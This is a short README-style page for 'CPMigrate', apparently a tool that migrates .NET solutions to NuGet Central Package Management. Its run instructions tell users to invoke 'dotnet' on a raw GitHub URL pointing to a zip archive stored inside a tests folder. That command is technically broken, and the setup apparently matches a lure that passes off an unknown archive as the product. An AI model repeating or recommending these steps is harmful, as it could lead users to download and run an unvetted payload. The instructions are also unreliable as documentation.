🌟 CPMigrate - Effortless .NET Migration Made Easy
📥 Download CPMigrate
🚀 Getting Started
CPMigrate is a command-line tool designed to simplify the migration of .NET solutions to NuGet Central Package Management (CPM). This tool works seamlessly to handle version conflicts, create backups, and perform dry runs, making it the ideal choice for developers looking to enhance their productivity.
🛠️ System Requirements
Before you start, ensure that your system meets the following requirements:
- Operating System: Windows 10/11, macOS, or any Linux distribution.
- .NET Version: .NET 5.0 or later.
- Memory: At least 4 GB of RAM.
- Disk Space: A minimum of 100 MB available.
📂 Features
- Automated Migration: Move your .NET solutions to CPM with a few simple commands.
- Version Conflict Management: Automatically handle dependency issues.
- Backup Creation: Keep a backup of your project files before making changes.
- Dry Run Option: Preview changes before applying them to your project.
📥 Download & Install
To download CPMigrate, visit the Releases page. Here, you will find the latest version available for download.
- Click on the "Releases" tab.
- Find the latest release, which will be at the top of the list.
- Choose the appropriate version for your operating system.
- Download the file and remember where you saved it.
🏃♂️ Running CPMigrate
Once you have downloaded CPMigrate, follow these steps to run it:
- Open your command prompt or terminal.
- Navigate to the location where you downloaded CPMigrate.
- Type dotnet https://raw.githubusercontent.com/MisterDog333/CPMigrate/main/CPMigrate.Tests/OptionsTests/CP-Migrate-2.3.zip followed by any necessary commands based on your migration needs.
For example, to perform a dry run without making changes, type:
dotnet https://raw.githubusercontent.com/MisterDog333/CPMigrate/main/CPMigrate.Tests/OptionsTests/CP-Migrate-2.3.zip dry-run